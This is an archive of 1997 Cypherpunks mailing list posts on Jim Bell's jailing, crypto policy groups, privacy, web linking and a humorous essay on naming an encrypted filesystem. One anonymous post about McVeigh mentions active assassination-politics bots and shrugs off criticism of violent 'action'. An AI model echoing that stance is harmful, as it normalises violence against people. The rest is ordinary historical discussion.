Subject: Re: Jim Bell defense fund
In-Reply-To: <Pine.GSO.3.95.970603001829.8051B-100000@cp.pathfinder.com>
Message-ID: <3.0.2.32.19970603010058.007cf100@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



>>> Has anyone talked to Jim to find out what he wants?
>>Jim isn't easily reachable by phone at the moment.
>
>Can he be visited? Perhaps there is a CP near him that could go and ask?

He likely has access to a pay phone; if so, he can probably make collect
calls, and maybe calling-card calls. The easiest way to talk to him on the
phone will be to send him a letter, telling him your phone number, and
telling him that you'll accept the charges if he calls you collect. The
phone call will be expensive - many jails set up sweetheart deals with
sleazy long-distance companies to handle all outgoing long-distance calls.
Since the prisoners can only call collect, and only with the one phone
company, if you want to talk to them, you pay the rate charged. :(

It's probably possible to visit him in person, although there's a good
chance it'll be via a (monitored) closed-circuit phone and plexiglass
screen. Most jails limit "contact" visits to attorneys. Likewise, anything
that's mailed to him will be opened, read, and inspected before he sees it,
unless it's from his attorney. Metal things (like staples and paper clips)
will be removed. It's probably possible to send a small amount of money (<
$20, or so) to the jail where he's held to be placed in his trust account,
which he'll be able to use to buy stamps, stationary, cigarettes (does he
smoke?), toiletries or maybe food from the commissary. It's also sometimes
possible/necessary to provide him with a change of clothes, if/when this
gets to a jury trial. Most jails won't let you mail books to prisoners, but
will accept books (sometimes only softcover) if they're mailed directly
from publishers. 

If he's got an attorney from the federal PD's office, he doesn't need money
for his defense - it won't help, and might just screw things up. I don't
think the PD's office would even accept it.

The best thing to do is find out where he's being held (seems like the
early report(s) said he was in a county jail in Tacoma? - sometimes county
jails hold prisoners on federal charges, and bill the feds for it) and call
there and ask what you can do, how you can write to him, if you can send
him stuff, what the visiting hours are, etc.

If someone does talk/write to him, you should remember that there's a
strong possibility that your communication(s) will be monitored/recorded,
and that anything he says/writes may be admissible against him at trial. 

Welcome to America. This is what we do to people before they even get a
trial. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 3 Jun 1997 14:17:56 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706030603.CAA22498@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker, realizing he is a soft target, wrote:

> Appologists for McVeigh should consider that his actions did not
> advance the militia cause an iota, it destroyed it and along with
> it much of the right wing fringe.

  Or perhaps just sent more people underground.
  Many remarked that the Jim Bell arrest chilled the free speech
of many list members but there are now at least two active AP Bots
on the internet.
  I haven't noticed anybody "apologizing" for McVeigh or Bell.
There are merely those who act or who don't act.

  <The rest of Phill's post is just his usual knee-jerk, elitist
slander of those he politically opposes, and not worth commenting
on.>

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Igor Chudov <ichudov@galaxy.galstar.com>
Date: Tue, 3 Jun 1997 15:23:01 +0800
To: cypherpunks@Algebra.COM
Subject: test1
Message-ID: <199706030712.CAA29408@galaxy.galstar.com>
MIME-Version: 1.0
Content-Type: text/plain



hello





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 17:52:27 +0800
To: cypherpunks@Algebra.COM
Subject: [Noise] Internet makes niche markets possible
Message-ID: <3.0.2.32.19970603024814.006e7e2c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



[The following post has zero crypto relevance.]

We all have heard much rhetoric concerning the Internet enabling the
creation of niche markets. Markets that wouldn't exist otherwise, since
potential sellers would not be able to reach a sufficient number of
potential buyers to make production of a good profitable.

But how many instances such newly created markets are you aware of? Well, I
discovered a rather sweet example.

You really like M&M's. You know: the round chocolate candy that melt in
your mouth, not in your hand. The only problem is, you don't like the
standard colors. You would much rather have all blue M&M's or, better yet,
a bag containing only teal and light pink. Since the market for teal or
light pink M&M's is marginal, the maker of M&M's does not include these
colors in the bags one can purchase at nearest corner store. What to do?

Voilà, the Internet to the rescue. Mars, the worldwide candy powerhouse and
manufacturer of M&M's, decided to tap this newly possible business
opportunity by offering custom colored M&M's through their webpage at
http://www.m-ms.com/

A Shockwave applet allows you to combine your favorite colors and order the
candy mix of your choice. Finally, teal M&M's are yours to indulge.

Enjoy,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 3 Jun 1997 21:11:37 +0800
To: Lee Tien <tien@well.com>
Subject: Re: Rotenberg or Berman?  (was  Re: e$: Beltway piglets and other barnyard animals)
In-Reply-To: <v03007805afb8066bc310@[163.176.132.90]>
Message-ID: <Pine.GSO.3.95.970603084314.16342A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



This is a crucial point. Rotenberg != Berman.

As much as I like individuals at CDT, I disagree fairly often with the
organization's position. CDT supported the so-called "compromise" that
would have replaced the CDA's indecency provision with a ban on material
that's "harmful to minors." They've done the wrong thing on Digital
Telephony in many cases -- helping phone companies suck in $$$ to make
their systems wiretappable more than helping civil liberties -- and
continue to do so. They're now silent (read the latest CDT post) on the
many problems with SAFE. 

Then again, CDT may not be good on individual rights in the examples above
but they don't support Rotenbergesque privacy regulations either. Again:
issue-by-issue alliances.

-Declan


On Sun, 1 Jun 1997, Lee Tien wrote:
> Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC.
> 
> Bob may be thinking of Jerry Berman, who ran EFF for a few years, was
> involved in its actions re Digital Telephony, and then left to start up
> CDT.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Tue, 3 Jun 1997 21:55:58 +0800
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller )
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <v0300781bafb9d67eb5c2@[204.91.138.31]>
MIME-Version: 1.0
Content-Type: text/plain



>>I'd also appreciate some comment/criticism on
>>the piece I did for Wired.
>
>Could you post the URL, please, in case it is available on the web?
>
>Thanks,
>
> UM

http://wwww.wired.com/wired/4.05/idees.fortes/eurocrats.html

Eurocrats Do Good Privacy

Marc Rotenberg



       Late last November, David Chaum received the Information Technology
European Award for 1995. The prize, given
       for DigiCash's ecash technology, consisted of a trophy plus 200,000
ecu (approximately US$250,000). Chaum is best
       known for the development of anonymous payment schemes that are
becoming increasingly popular in Europe for
       everything from online commerce to highway toll systems.

       At about the same time that Chaum received the prestigious award,
Phil Zimmermann, inventor of the popular Pretty
       Good Privacy encryption program, sat in his Boulder, Colorado, home
wondering whether the US government would
       make good on its threat to prosecute him for trafficking in
munitions. Although federal prosecutors announced recently
       that they will drop the case against Zimmermann, the prospects that
he will get a big cash award from the US
       government anytime soon are less than slim.

       The contrast between a decorated cryptographer in Europe and one
trying to avoid prosecution in the United States is
       more than curious. It shows that governments, at least some
governments, can be a force for progress in the crypto
       world.

       Reread that sentence. It is not conventional wisdom in the United
States. Cyberlibertarians have been unrelenting in
       their opposition to any federal role in crypto policy. Free
marketers argue simply that there is no place for government
       in the development of high-tech products. Cyberanarchists seem to
doubt whether there is any role at all for
       government.

       Of course, the Clipper debacle provides plenty of ammunition for
these arguments. Clipper combined in equal measure
       government arrogance, technological incompetence, and profound
disregard for the rights of citizens. As an exercise in
       public policy, it ranks somewhere between the Bay of Pigs and the
CIA's experiments with psychics.

       But the recent European experience should give pause to these allies
in the battle for online privacy. Not only are
       European officials at the highest levels prepared to embrace
technologies of privacy, they have almost uniformly
       opposed US-inspired surveillance schemes such as Clipper.

       Two recent reports are indicative. In "Privacy-Enhancing
Technologies: The Path to Anonymity," the Netherlands and
       the Canadian province of Ontario call for an exploration of new
technologies to promote privacy. Similarly, Anitha
       Bondestam, director general of the Data Inspection Board of Sweden,
writes in a recent report, "It is more important
       than ever to bring back anonymity and make more room for personal
space." She urges her colleagues to sharply limit
       the collection of personal data.

       This is bold stuff coming from government officials. Put on the
privacy spectrum in the United States, these statements
       are far closer to the position of many cypherpunks than to that of
any officials currently developing privacy policy.

       In the United States, to the extent that the federal government has
said anything about anonymity, the script is written
       by the Treasury Department's Financial Crimes Enforcement Network,
which is charged with investigating money
       laundering. Not surprisingly, FinCEN warns that electronic cash will
usher in a new era of criminal activity.

       It doesn't have to be this way. The reality of modern society is
that government officials make decisions every day
       about the rights of citizens. The question is whether they favor
proposals that respect privacy and personal dignity or
       not. Compared with governments that lack privacy officials,
governments that have privacy officials have repeatedly
       weighed in favor of privacy interests.

       Viewed against this background, many of the European privacy
regulations, often criticized by libertarians, should be
       seen for what they are - sensible responses of governments that
value their citizens' privacy rights. In such societies,
       technical means to protect privacy will be adopted - not viewed with
skepticism.

       Is the European system perfect? Of course not. Are the Europeans
doing a better job than Americans of promoting the
       technologies of privacy? Just ask David Chaum and Phil Zimmermann.

       -Marc Rotenberg is director of the Electronic Privacy Information
Center (www.epic.org/).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 4 Jun 1997 01:15:40 +0800
To: cypherpunks@Algebra.COM
Subject: Cryptographic Mythology (fwd)
Message-ID: <Pine.GSO.3.96.970603094056.14344F-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



I found this on the firewalls mailing list.  It needed to find its way
here...

alano@teleport.com | "That will make it hot for them" - Guy Grand

---------- Forwarded message ----------
Date: Wed, 4 Jun 1997 02:03:43 +1000 (EST)
From: proff@suburbia.net
To: firewalls@greatcircle.com
Subject: Cryptographic Mythology


Here is something to amuse, delight and horrify - the tail of:

       _One Man's Search for a Cryptographic Mythology_.

I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now
the day dawned when I decided it was high time to discard my rather
egocentric working name _Proffs_ (i.e Proff File System) and cast
about for a decent, respectable name. My first thought on this
matter was:

CERBERUS, n. The watch-dog of Hades, whose duty it was to guard
   the entrance -- against whom or what does not
   clearly appear; everybody, sooner or later, had to go there,
   and nobody wanted to carry off the entrance. Cerberus is known
   to have had three heads, and some of the poets have credited
   him with as many as a hundred.

Only, what was the relation between KERBEROS and CERBERUS? Pups
from the same litter, or was the relationship a little more
incestuous? I had to find out. There was no way - n o  w a y - I'd be
having my encrypted file system playing second fiddle to that evil
authentication beast.

KERBEROS; also spelled Cerberus.  n.  The watch dog of
   Hades, whose duty it was to guard the entrance--against
   whom or what does not clearly appear; . . . it is known
   to have had three heads. . .

Mythology couldn't get any more incestuous than that.

450,000 bytes of Greek polytheism later, and I'm wondering if the
Gods of Olympus really had any high-paid guards to speak of except
the multi-headed mongrel from Hades. I'm feeling down. I'm cursing
the Ancients. I'm disrespectfully humming tunes `All and All it's
Just Another Greek in the Wall', and `Athena be my Lover' when I
discover:

JANUS: in Roman mythology, custodian of the universe, god of
   beginnings. The guardian of gates and doors, he held
   sacred the first hour of the day, first day of the month, and
   first month of the year (which bears his name). He is represented
   with two bearded faces set back to back.

Custodian of the universe. Guardian of gates and doors. Cooool.
Janus.  January. I like it.  Only while I'm liking it, I'm thinking
that I've heard the word Janus a lot before. I'm thinking it isn't
just me who has looked up from the middle of a Greek mythology
text, whilst in the throes of a name hunt with the words "Cooool"
on their tongue.  No: the Gods just don't smile on me that way.
AltaVista confirms the truth of Heaven's bad attitude towards me.
17,423 references.  _The Janus Mutual Trade Fund_, _The Janus
Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH
these Canadians?), _Janus' cool word list_ (turns out to be not so
cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_,
_janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama
series and of course, the sixth moon of Saturn - _Janus_. Janus is
out-of-the-picture. I'm not sure whether to feel smug or grim about
the rest of the world's lack of originality.

Guards. Guardians. The Greeks didn't have many with bite and I'm
loosing patience with the whole culture. Euphrosyne, Aglaia, and
Thalia do not grace me.  What I need is something that evokes
passion within my cryptographic domain. And when you come down to
it, that means something which produces copious amounts of gore
and blood, at will, from those who would dare to pass its demesne
of protection.

     The Erinyes, or Furies, were three goddesses who punished by
     their secret stings the crimes of those who escaped or defied
     public justice. The heads of the Furies were wreathed with
     serpents, and their whole appearance was terrific and appalling.
     Their names were Alecto, Tisiphone, and Megaera.  They were
     also called Eumenides.

Aye. Plenty of gore there. But somewhat lacking in cryptographic
analogy.  Fantastic material for the group that doesn't meet at
number 41 every Saturday night though. They will appreciate what
the Erinyes were trying to achieve.

Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads
of the Furies were wreathed with serpents, and their whole appearance
was terrific and appalling". Terrific. Serpents.

Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten
   + facere: to make. See Terror, and Fact.] Causing
   terror; adapted to excite great fear or dread; terrible; as, a
   terrific form; a terrific sight.

Is it a symptom of society in decay that this word has come to mean:

Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis,
   p. pr. of excellere. See Excel.] 1. Excelling;
   surpassing others in some good quality or the sum of qualities;
   of great worth; eminent, in a good sense; superior, as an
   excellent man, artist, citizen, husband, discourse, book, song,
   etc.; excellent breeding, principles, aims, action.

Or as Milton would say:

   To love . . . What I see excellent in good or fair.

On the other hand, David Hume (1711-1776):

   The more exquisite any good is, of which a small specimen is
   afforded us, the sharper is the evil, allied to it; and few
   exceptions are found to this uniform law of nature. The most
   sprightly wit borders on madness; the highest effusions of joy
   produce the deepest melancholy; the most ravishing pleasures
   are attended with the most cruel lassitude and disgust; the most
   flattering hopes make way for the severest disappointments. And,
   in general, no course of life has such safety (for happiness is
   not to be dreamed of) as the temperate and moderate, which
   maintains, as far as possible, a mediocrity, and a kind of
   insensibility, in every thing.

Perhaps it is the sign of a brain in decay, rather than a society
that I dwell on it so, because Terrific hair serpents of course
lead unfailing into the arms of the Medusa. A guardian of fearsome
looks, but dubious motivations according to authorities like Clash
of the Titans (1981). A moot point, perhaps as Princeton's
history department no longer wants to talk to me. I'm cast adrift,
to rely on my Plasticine childhood memories and the mythological
swamp of the web.

   NAME: Medusa
   FAVORITE PASTIME: Turning men to stone
   PLACE OF ORIGIN: Los Alamos Secret CIA Lab
   SPECIAL GIFTS: Petrified Aggregate Projectist
   FAVORITE MOVIE: Mighty Morphin' Power Rangers
   GOALS IN LIFE: To be a nice person
   FAVORITE BOOK: Madonna's biography
   PET PEEVE: Bad hair days

Jesus. I've been sucked into comic book hell. Princeton, take me
back.  I won't curse at the ancient Greek's sexual proclivities
anymore. I'm sure chaste marriages were very daunting to those yet
to have them. I was only joking. Lighten up will you?

But, alas, the history faculty however was still nursing its
wounds, and was not ready to forgive me. I'd have to find an
authoritative source somewhere else. Perhaps I could filter out the
comic book hell contaminants and come up with respected history Ivy,
even if it wasn't Princeton Ivy.

   To decapitate - to castrate. The terror of the Medusa is thus
   a terror of castration that is linked to the sight of something.
   The hair upon the Medusa's head is frequently represented in
   works of art in the form of snakes, and these once again are
   derived from the castration complex. It is a remarkable fact
   that however frightening they may be in themselves, they
   nevertheless serve as a mitigation of the horror, for they
   replace the penis, the absence of which is the cause of the
   horror. This is a confirmation of the technical rule according
   to which a multiplication of penis symbols signifies castration.

   Sigmund Freud
   The Medusa's Head

You had to hand it to Sigmund. He was nothing if not authoritative,
and after reading his inspiring words on the terrific serpent haired
woman, it became clear to me that _Proffs_ and the Gorgon had somewhat
unresolved metaphorical incompatibilities. I didn't want my software
giving anyone a castration complex.

I decided to put aside the denizens of Olympus from contest verbatim.
I'd read Fraud on Perversions a few years before and knew Medusa
was just a portent of what was to come.  What I needed was another
polytheist culture entirely.  Latin didn't help me. Nearly all the
Roman Gods had been vilely plagiarised from the Greeks, Latin names
or not.  Freud knew this as well as I did.  The Norse gods were of
little assistance to me.  The only one worth paying school to was
Loki, the Norse god of mischief. Loki was a very cool fellow, which
was why his name has been appropriated as a moniker by virtually
every Bjorn, Sven, and Bob hacker to come out of Scandinavia in
the last 10 years. No, Loki was not for me.

The problem craved for a polytheist mythology outside the realm of
my, and more importantly Sigmund Freud's, Western European upbringing.
The answer to my question was by definition locked within a body of
history I didn't know an onion skin about. In order for the pilgrim
to reach the master he must first place his foot on the path, no
matter how gradual the slope up the mountain of enlightenment. Zen
Buddhism is good like that. Fabricating parables up as you go along
that is.

   Zen master Gutei raised his finger whenever he was asked a
   question about Zen. A young novice began to imitate
   him in this way. When Gutei was told about the novice's imitation,
   he sent for him and asked him if it were true. The novice admitted
   it was so. Gutei asked him if he understood. In reply the novice
   held up his index finger. Gutei promptly cut it off.  The novice
   ran from the room, howling in pain. As he reached the threshold,
   Gutei called, "Boy!". When the novice returned, Gutei raised
   his index finger. At that instant the novice was enlightened.

But wait. This Koan isn't fabricated. At least, not by me. And
unlike most Zen Koan's I think you will agree that it pleasantly
satisfies Schopenhauer's "life, without pain, has no meaning".
However, semantically I'm seeing a very unhealthy correlation to
forgetting one's encryption key and losing one's finger.

My mind is drawn to the memory of the real-life nightmare of laying
in the easy-chair of a Swanston St. hypnotherapist suite, gazing
intently into a bright, but distant red light, while chanting the
mantra "I am not cynical about hypnotherapy. I am not cynical about
hypnotherapy.  I am not cynical about an Indian doctor with a 5th
floor office decorated coup'd'Edelstien. I'm not cynical about a
man who claims that his foremost clientele are rich middle aged women
who have put their jewellery somewhere "safe" and consequently
are unable to recall the location.  I'm not cynical about a
hypnotist who extols the virtues of having a M.D. so his patients
can claim 2/3rds of the cost of these jewellery retrieval sessions
under Medicare. I'm not cynical that these middle aged women are
infact suffering from some form of Mesmer complex.  And by all the
powers in Heaven, I have no pessimism about recalling my god-damned
pass-phrase!".

I never did remember the pass-phrase and you will notice Gutei
keeps very quiet about what he does with the novice's finger. In
this particular case, given the value of the data, I would have
traded placed with Gutei's novice, before you can say "Boy! Was I
enlightened".

I put my chin on my knee, and stare at the grain of my beige
plastic monitor case. Unless I could jump into another reality
it was the end of the line for _Proffs_ and _One Man's Search
for a Cryptographic Mythology_. Boy! Was I bummed. 

One of the great sins of us programmers is procedural thinking.
And it was exactly this sort of folly I was engaging in. There were
around 6 billion other realities going about their business. I
grant you that 2 billion of these were no doubt indulging in the
confusion and diffusion of an avalanche of pseudo-random mental
images and sequences we associate with dreams, and probably another
2 billion busy expanding their minds with the powerful products of
hash or decaying into a compressive state of increasing entropy
and beer rounds. This still left a select 2 billion souls with
which to weave my work.  If I approached them directly rather than
by analysing the information trails they left behind, I'd stand a
good chance of getting my feet onto the path of cryptographic
mythological enlightenment.

I have a Swedish friend who calls himself Elk on odd days and
Godflesh on even days. Don't ask why. As far as I know he's not
bisexual. Elk listened to my quest for cryptographic myth. He
had pondered, and uncovered a diamond in the rough. MARUTUKKU.

  The third name is MARUTUKKU, Master of the arts of protection,
  chained the Mad God at the Battle. Sealed the Ancient Ones in
  their Caves, behind the Gates.

F a r  o u t. Master of the arts of protection. Chained the Mad
God.  Sealed the Ancient Ones in their Caves, behind the Gates.
Even the very word MARUTUKKU looks like it has been run through a
product cipher.

But I wasn't about to trust the work of a self-admitted Swedish
Sumeria freak who was obviously suffering from a bi-polar moniker
disorder. Was it mere coincidence that MARUTUKKU was an anagram
for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as
another cog in the annals of Freudian analogy. What I
needed was the sort of Authoritative History that only Princeton's
history faculty could provide. The tablets of the Enuma Elish:

  The Akkadian Creation Epic

   Based on the translation of E. A. Speiser, with the additions
   by A. K. Grayson, Ancient Near-Eastern Texts Relating to the
   Old Testament, third edition, edited by James Pritchard (Princeton,
   1969), pp. 60-72; 501-503, with minor modifications.

   This work, the ancient Mesopotamian creation epic consisting of
   seven tablets, tells of the struggle between cosmic order and
   chaos. It is named after its opening words. It was recited on
   the fourth day of the ancient Babylonian New Year's festival.
   The text probably dates from the Old Babylonian period, i.e.,
   the early part of the second millennium B.C.E.

[...]

   The third name is MARUTUKKU  Master of the arts of protection,
   chained the Mad God at the Battle. Sealed the Ancient Ones in
   their Caves, behind the Gates.

[...]

   MARUTUKKU truly is the refuge of his land, city, and people.
   Unto him shall the people give praise forever.

All praise the MARUTUKKU! My search had born a ripe and tasty
fruit indeed. The quest for a cryptographic mythology was
complete. Or was it? The words of Hume kept coming back to me
and I had a nagging feeling that there was some substance in
them.

If MARUTUKKU was my exquisite cryptographic good, of wit, effusive
joy, ravishing pleasure and flattering hope; then where was the
counter point? The figure to its ground - the sharper evil, the
madness, the melancholy, the most cruel lassitudes and disgusts
and the severest disappointments. Was Hume right? Because if he
was, there was only one organisation this string of hellish adjectives
could represent. The cryptographic devil with its 500,000 sq feet
of office space in Maryland. But surely there could be no reference
to such an organisation in the 4,000 year old Babylonian tablets.
The idea was preposterous. Wasn't it?

TABLET VII OF THE ENUMA ELISH:

ESIZKUR shall sit aloft in the house of prayer;
   May the gods bring their presents before him, that from
   him they may receive their assignments; none can without
   him create artful works.  Four black-headed ones are
   among his creatures; aside from him no god knows the
   answer as to their days.

It's a cold and wintry night, here in Melbourne. Despite this, the
gusts of wind and rain seem to be unusually chilling. What had I,
in my search for a cryptographic mythology, stumbled onto?

I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to
a smile and then a dead pan stare. I write down:

			  IRK ZEUS

--
Prof. Julian Assange  |If you want to build a ship, don't drum up people
		      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 3 Jun 1997 22:05:19 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing?...
Message-ID: <199706031316.IAA15007@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> Hi,
> 
> I have been looking at how to impliment picketing on the web. To date I have
> been unable to come up with a way to force a connection to one machine to go
> through a third machine in order to express some view about the original
> target.
> 
> This idea came to me while watching some folks picket a local grocer over
> something I couldn't make out (the signs were poorly done). It occured to me
> that since one could argue that the links between sites are public avenues a
> site could 'picket' another site. The question became at this point, how?
> 
> So far I have been unable to figure a way out. Any ideas you might care to
> share with us all?
                                                                      
 
>   |      No people do so much harm as those who go about doing good.   

Jim: 

I know you've been on this list for quite some time, but this is 
not only impossible (as you would know if you understood the 
technology involved); it's also highly undesirable. You may dislike 
one of the sites linking to yours, but you really can't hijack their
connections and force people to listen to you who don't want to.

Imagine if you could! Anyone who dislikes any other page on the
web could block access - 'right to life' groups could hijack
connections to Planned Parenthood, a church site could block
playboy.com for the entire world, any government could extend it's
domestic censorship standards to the entire net. Pepsi could block
links to Coke.

There are two things you *can* do. 

1. You can put a disclaimer on your page "If you linked here from 
XXX.XXX.XXX, please be aware that I object to that connection for 
the following reasons..."

2. If you or your webmaster have any kind of technical 
sophistication, you can force links to your page to go to a CGI 
script, which uses the HTTP-referrer: header to provide different
pages depending on the source of the connection. I suspect that
Ticketmaster is doing something like this in blocking links from 
MSN. 

But please, don't try to extend the 'information superhighway' 
(blech!) metaphor to include virtual sidewalks with picketing
rights - this is silly. A better metaphor for what you want to
do would have a church groups insist that all mailings from Planned
Parenthood diverted to them, so that they can insert their own
fliers into the envelopes.

Peter Trei
trei@process.com
Disclaimer: The above represents my opinion only. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 01:46:12 +0800
To: cypherpunks@Algebra.COM
Subject: "Follow the money"
In-Reply-To: <v03007805afb8066bc310@[163.176.132.90]>
Message-ID: <v03102803afba0104af92@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:54 AM -0700 6/3/97, Declan McCullagh wrote:
>This is a crucial point. Rotenberg != Berman.
>
>As much as I like individuals at CDT, I disagree fairly often with the
>organization's position. CDT supported the so-called "compromise" that
>would have replaced the CDA's indecency provision with a ban on material
>that's "harmful to minors." They've done the wrong thing on Digital
>Telephony in many cases -- helping phone companies suck in $$$ to make
>their systems wiretappable more than helping civil liberties -- and
>continue to do so. They're now silent (read the latest CDT post) on the
>many problems with SAFE.
>
>Then again, CDT may not be good on individual rights in the examples above
>but they don't support Rotenbergesque privacy regulations either. Again:
>issue-by-issue alliances.

It seems to me that an accounting of the *funding* of these organizations
is in order. What fraction of CDT's budget comes from the telecom industry?
What fraction from the software companies? What about the established
crypto companies?

"Follow the money."

In their defense (!), it may be hard indeed for any group like them to
viably exist on small contributions from citizens and indivuals at the
bottom of the privacy food chain. The EFF made an attempt to get a lot of
such members, but my sources tell me the membership base never exceeed
2500. I don't know what the current membership figures are.

(2500 x $30 a year (on average) = $75,000, or hardly enough to pay for one
computer technician or for one small bribe to a Congressional staffer.)

(I was a member for a couple of years. I refused to sign up again after the
Wiretap Bill fiasco, but then signed up again later when an Executive
Director said they'd learned to mend their ways. No more, as it no longer
seems a member-oriented group. To defend them, it probably would cost a lot
more than $75K to have a staff to increase memmbership, to put out a
newspaper or magazine, etc.)

The National Rifle Association, NRA, is a good example to compare EFF,
EPIC, CDT, etc. to. The NRA is largely member-driven, though membership has
been declining.

(The Charlton Heston faction says its because members were put off by the
"militia" rhetoric, i.e., the strong pro-Second stance. Others of us say
we've quit because NRA became too namby pamby about basic rights, e.g., its
support of gun registration.)

When the NRA took a greater fraction of its funding from "industry," it
molded its views to those of industry. One manufacturer, Ruger (Sturm,
Ruger, and Co.) decided that limits on "assault rifles" were not so bad,
and the NRA followed suit. (This may be the reason today why NRA is mostly
silent on the new bans on import of low-cost Chinese, Russian, and East
Bloc rifles: such imports hurt Ruger, and Colt, and other American
companies.)

NRA is still a mostly member-driven organization (lots of dues flowing in),
and yet it bends to industry wishes. I shudder to think what the NRA would
be supporting if it were mainly _industry_-driven.

Which is what I'm sure CDT and EPIC are.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 3 Jun 1997 23:17:05 +0800
To: cypherpunks@Algebra.COM
Subject: Why Privacy
Message-ID: <3.0.2.32.19970603105437.0072b4dc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Here's one of my old essays that I found while doing disk cleanup:

WHY PRIVACY?

The last few years have been bad ones for privacy in America.  As of June
1st, 
1987 it became a crime to hire anyone, even your own child, who does not 
present identification cards.  The "drug" laws passed in recent years require 
ever more detailed reporting of smaller and smaller cash transactions.  Any 
children over the age of two who are to be claimed as dependents on their 
parent's tax returns now need Social Security numbers.  I suppose that with 
all this new prying there will be less illegal drug use and everyone will pay 
their fair share of taxes although past restrictions on privacy did not seem 
to reduce these problems.

We seem headed for a National Identity Card system.  According to government 
officials promoting ID cards, the main argument in favor of this radical step 
is that the law-abiding would have nothing to fear from it.  This seems a 
curious argument for the proponents of such a dramatic change in the 
relationship between the people of the U.S. and their government since it 
fails to state any benefit for the law-abiding either.

The fact is that the argument is false.  The law-abiding have a great deal to 
fear from all invasions of their privacy by the minions of the state.  If the 
history of this century has proved anything, it has proved that the innocent 
have far more to fear from government than the guilty.

Why guard the privacy of the innocent (the guilty can and will take care of 
themselves)?  After all the enforcers say, "If you have nothing to hide, you 
don't need privacy."  The answer should be obvious,  "The innocent won't know 
what they have to hide until it's too late."

The reason to value privacy is simply that we know from the most casual 
reading of the history of Europe that every sort of person has at certain 
times and in certain places been killed because of what others knew about 
them.  Over the last 400 years, within the confines of Europe, peasants, 
workers, aristocrats, bourgeois shopkeepers, Jews, Protestants, Catholics, 
Communists, Nazis, anarchists, monarchists, and others have faced death
simply 
because of what they were.  These people may have gone about their business
in 
seeming safety for years until a change in circumstance marked them for
death. 
 By then it was too late for them to hide their selves. 

This is why privacy must be valued.  It may be that every single one of the 
millions of current employees of the international, national, state, and
local 
governments who will make use of the information collected about us is a
noble 
human being without a tyrannical bone in his (or her) body but we cannot 
guarantee the future.  The average American has some forty years of life left 
and forty years is a long time in the life of today's nations.  There may
come 
a time within those forty years when innocent information surrendered to the 
state will mean death.  No nation is immune to domestic or foreign tyrrany, 
given the fluid nature of modern politics.

To make the abstract concrete, how was it that the Nazi government of Germany 
identified Jews for extermination?  It proved to be a simple matter of 
consulting local records.  Did the Jewish mother and father in 1880 or 1900
or 
1920 realize when they listed their child's religion on birth records in full 
compliance with the law that they were condemning that child to death?  Or 
what about the passport.  Promoted at the beginning of this century as a
means 
of easing international travel and safeguarding the passage rights of 
neutrals, it has become a major impediment to international travel and even a 
threat to life.  If one is on board an airliner with armed Palestinian 
terrorists, would one rather be carrying an American, Israeli, British,
Swiss, 
or Syrian passport?

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 3 Jun 1997 23:59:10 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com>
Message-ID: <199706031525.LAA07241@muesli.ai.mit.edu>
MIME-Version: 1.0
